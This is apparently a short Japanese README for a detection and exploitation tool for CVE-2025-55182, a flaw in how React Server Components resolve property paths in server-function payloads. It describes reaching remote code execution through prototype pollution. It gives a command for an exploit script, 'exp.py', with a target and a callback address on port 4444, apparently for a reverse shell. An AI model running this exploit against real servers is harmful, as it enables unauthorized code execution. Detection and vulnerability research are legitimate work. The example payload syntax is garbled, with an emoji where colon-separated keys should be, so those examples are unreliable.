
CVE-2025-55182 検出方法と攻撃利用
個人用チェックツールです。CVE-2025-55182の脆弱性をチェックするために使用します。
React Server Components は、サーバー関数エンドポイントに送信されたペイロードをデコードする際に、パス解決の欠陥が存在します。コロンでオブジェクトのプロパティを区切ることでネストした値の取得を実現します(例: $1🅰️b は {"a":{"b":"foo"}}.a.b に対応)が、プロパティの存在性の検証は行われません。$1🅰️a が渡されると、{}.a.a の無効な値の取得がトリガーされ、サーバー側で 500 エラーが発生します。一方、攻撃者は特別なペイロードを構築し、プロトタイプ汚染とコードインジェクションを利用して RCE を達成できます。
python3 exp.py -t http://127.0.0.1:8080/ -a 127.0.0.1:4444
CVE-2025-55182-Check.sh [-h] [-f <path>] [-a]
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